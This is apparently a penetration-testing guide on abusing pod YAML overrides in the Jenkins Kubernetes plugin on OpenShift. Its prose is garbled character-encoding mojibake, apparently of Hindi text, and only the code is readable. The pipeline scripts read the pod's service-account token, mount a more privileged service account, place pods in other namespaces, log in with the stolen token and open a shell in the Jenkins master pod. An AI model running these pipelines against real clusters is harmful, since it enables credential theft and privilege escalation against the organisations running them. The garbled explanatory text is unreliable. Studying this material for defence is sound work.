OpenShift - Jenkins Build Pod Override

рдЗрд╕ рдкреГрд╖реНрда рдХреЗ рдореВрд▓ рд▓реЗрдЦрдХ рд╣реИрдВ рдлрд╛рд░реЗрд╕

рдЬреЗрдВрдХрд┐рдВрд╕ рдХреЗ рд▓рд┐рдП рдХреБрдмрд░рдиреЗрдЯреАрдЬ рдкреНрд▓рдЧрдЗрди

рдпрд╣ рдкреНрд▓рдЧрдЗрди рдУрдкрдирд╢рд┐рдлреНрдЯ/рдХреБрдмрд░рдиреЗрдЯреАрдЬ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рднреАрддрд░ рдЬреЗрдВрдХрд┐рдВрд╕ рдХреЛрд░ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╝реНрдпрд╛рджрд╛рддрд░ рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдпрд╣рд╛рдБ рдЗрд╕рдореЗрдВ рдХреБрдЫ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреИрд╕реЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЬреЗрдВрдХрд┐рдВрд╕ рдмрд┐рд▓реНрдб рдкреЙрдб рдХреА рдХреБрдЫ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡рд┐рдиреНрдпрд╛рд╕реЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ред

рдХреЛрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛

рдпрд╣ рдкреНрд▓рдЧрдЗрди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЙрдЪрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрдкрдиреЗ рдХреЛрдб рдХреЛ рдмрд┐рд▓реНрдб рдХрд░рддреЗ рд╕рдордп рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

рдХреБрдЫ рджреБрд░реБрдкрдпреЛрдЧ рдкреЙрдб yaml рдУрд╡рд░рд░рд╛рдЗрдб рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рднреА рдПрдХреНрд╕реЗрд╕ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рдЫрд╡рд┐ рдЬреИрд╕реЗ рдХрд┐ Kali Linux рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЙрд╕ рдЫрд╡рд┐ рд╕реЗ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рдЪрд┐рддреНрд░ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рдЪрд▓ рд░рд╣реЗ рдкреЙрдб рдХреЗ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЯреЛрдХрди рдХреЛ рдмрд╛рд╣рд░ рд▓реЗ рд╕рдХрддреЗ рд╣реИрдВред

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

рдПрдХ рдЕрд▓рдЧ рд╕рд┐рдВрдЯреИрдХреНрд╕ рдЬреЛ рдПрдХ рд╣реА рд▓рдХреНрд╖реНрдп рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

рдПрдХ рдЙрджрд╛рд╣рд░рдг рдирд╛рдордХреНрд╖реЗрддреНрд░ рдХреЛ рдкреЙрдб рдХрд╛ рдЕрдзрд┐рд░реЛрдкрдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг рдЬреЛ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рдЬрд┐рд╕рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡рд╛рд▓реЗ рд╕реЗ рдЕрдзрд┐рдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЖрдкрдХреЗ рдмрд┐рд▓реНрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ) рдЙрд╕рдХреЗ рдирд╛рдо рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдореМрдЬреВрджрд╛ рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдпрд╛ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

рдпрд╣реА рддрдХрдиреАрдХ рдПрдХ рд╕реАрдХреНрд░реЗрдЯ рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИред рдпрд╣рд╛рдБ рдЕрдВрддрд┐рдо рд▓рдХреНрд╖реНрдп рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдкрдХреЛ рдкреЙрдб рдирд┐рд░реНрдорд╛рдг рдХреЛ рдХреИрд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ рд╣реИ рддрд╛рдХрд┐ рдЖрдк рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдкрд┐рд╡рдЯ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред

рдФрд░ рдЖрдЧреЗ рдмрдврд╝реЗрдВ

рдЬрдм рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде рдЦреЗрд▓рдиреЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╕рдХреНрд╖рдо рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЬреЗрдВрдХрд┐рдВрд╕ рдФрд░ рдХреБрдмрд░рдиреЗрдЯреАрд╕/рдУрдкрдирд╢рд┐рдлреНрдЯ рдкрд░ рдЕрдкрдиреЗ рдЬреНрдЮрд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдорд┐рд╕рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди/рджреБрд░реБрдкрдпреЛрдЧ рдЦреЛрдЬ рд╕рдХреЗрдВред

рдЦреБрдж рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рд╢реНрдиреЛрдВ рдХреЛ рдкреВрдЫреЗрдВ:

  • рдХреМрди рд╕реА рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ рдирд┐рд░реНрдорд╛рдг рдкреЙрдб рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП?

  • рдЙрд╕рдХреЗ рдкрд╛рд╕ рдХреМрди рд╕реА рднреВрдорд┐рдХрд╛рдПрдБ рдФрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ? рдХреНрдпрд╛ рдпрд╣ рдореЗрд░реЗ рд╡рд░реНрддрдорд╛рди рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЗ рд╕реАрдХреНрд░реЗрдЯреНрд╕ рдХреЛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ?

  • рдХреНрдпрд╛ рдореИрдВ рдЕрдиреНрдп рдирд┐рд░реНрдорд╛рдг рдкреЙрдб рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдВрдЪ рд╕рдХрддрд╛ рд╣реВрдБ?

  • рдПрдХ рд╕рдВрдХрдЯрд┐рдд sa рд╕реЗ, рдХреНрдпрд╛ рдореИрдВ рдорд╛рд╕реНрдЯрд░ рдиреЛрдб/рдкреЙрдб рдкрд░ рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реВрдБ?

  • рдХреНрдпрд╛ рдореИрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдВрдЪ рд╕рдХрддрд╛ рд╣реВрдБ рддрд╛рдХрд┐ рдХрд╣реАрдВ рдФрд░ рдкрд┐рд╡рдЯ рдХрд░ рд╕рдХреВрдБ?

  • рдХреМрди рд╕реА SCC рд▓рд╛рдЧреВ рд╣реИ?

рдЖрдк рдпрд╣рд╛рдБ рдпрд╣рд╛рдБ рдФрд░ рдпрд╣рд╛рдБ рдХрд┐рд╕ oc/kubectl рдХрдорд╛рдВрдб рдХреЛ рдЬрд╛рд░реА рдХрд░рдирд╛ рд╣реИ рдЙрд╕реЗ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВред

рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рд╛рдЗрд╡реЗрд╕реНрдХ/рдкрд┐рд╡рдЯрд┐рдВрдЧ рд╕реНрдерд┐рддрд┐рдпрд╛рдБ

рдЪрд▓рд┐рдП рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рджреМрд░рд╛рди рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╕рднреА рдЬреЗрдВрдХрд┐рдВрд╕ рдирд┐рд░реНрдорд╛рдг worker-ns рдирд╛рдордХ рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдЪрд▓рддреЗ рд╣реИрдВред рдЖрдкрдиреЗ рдкрд╛рдпрд╛ рдХрд┐ рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ default-sa рдирд┐рд░реНрдорд╛рдг рдкреЙрдб рдкрд░ рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдХреЗрд╡рд▓ рдХреБрдЫ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ рд╣реИ рд▓реЗрдХрд┐рди рдЖрдкрдиреЗ рдкрд╣рдЪрд╛рди рд▓рд┐рдпрд╛ рдХрд┐ рдПрдХ рдореМрдЬреВрджрд╛ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ master-sa рд╣реИред рдЪрд▓рд┐рдП рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рджреМрд░рд╛рди рдЪрд▓ рд░рд╣реЗ рдирд┐рд░реНрдорд╛рдг рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ oc рдХрдорд╛рдВрдб рд╕реНрдерд╛рдкрд┐рдд рд╣реИред

рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдирд┐рд░реНрдорд╛рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдЖрдк master-sa рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд▓реЗ рд╕рдХрддреЗ рд╣ред рдФрд░ рдЖрдЧреЗ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣ред

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

рдЖрдкрдХреЗ рдПрдХреНрд╕реЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдпрд╛ рддреЛ рдмрд┐рд▓реНрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рдЕрдкрдирд╛ рд╣рдорд▓рд╛ рдЬрд╛рд░реА рд░рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдпрд╛ рдлрд┐рд░ рдЖрдк рд╕реАрдзреЗ рдЗрд╕ SA рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЪрд▓ рд░рд╣реЗ рдХреНрд▓рд╕реНрдЯрд░ рдкрд░:

oc login --token=$token --server=https://apiserver.com:port

рдпрджрд┐ рдЗрд╕ рд╕рд╛ рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐ рд╣реИ (рдЬреИрд╕реЗ рдкреЙрдб/рдПрдХреНрдЬреЗрдХреНрдпреВрдЯ), рддреЛ рдЖрдк рдЬреЗрдВрдХрд┐рдиреНрд╕ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХрдВрдЯреНрд░реЛрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдорд╛рд╕реНрдЯрд░ рдиреЛрдб рдкреЙрдб рдХреЗ рдЕрдВрджрд░ рдХрдорд╛рдВрдб рдПрдХреНрдЬреАрдХреНрдпреВрдЯ рдХрд░рддреЗ рд╣реИрдВ, рдпрджрд┐ рдпрд╣ рд╕рдорд╛рди рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдЖрдк рдЗрд╕ рдкреЙрдб рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдЗрд╕рдХреЗ рдирд╛рдо рджреНрд╡рд╛рд░рд╛ рдФрд░ рдЗрд╕ рддрдереНрдп рджреНрд╡рд╛рд░рд╛ рдХрд┐ рдпрд╣ рдЬреЗрдВрдХрд┐рдиреНрд╕ рдбреЗрдЯрд╛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреАрд╡реАрд╕реА (рд╕реНрдерд╛рдпреА рд╡реЙрд▓реНрдпреВрдо рдХреНрд▓реЗрдо) рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред

oc rsh pod_name -c container_name

рдпрджрд┐ рдорд╛рд╕реНрдЯрд░ рдиреЛрдб рдкреЙрдб рд╡рд░реНрдХрд░реНрд╕ рдХреЗ рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдирд╣реАрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдорд╛рд╕реНрдЯрд░ рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдХреЗ рд╕рдорд╛рди рд╣рдорд▓реЗ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдо рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕реЗ jenkins-master рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ master-sa рдХреЛ jenkins-master рдиреЗрдорд╕реНрдкреЗрд╕ рдкрд░ рдореМрдЬреВрдж рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдФрд░ worker-ns рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ)ред

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated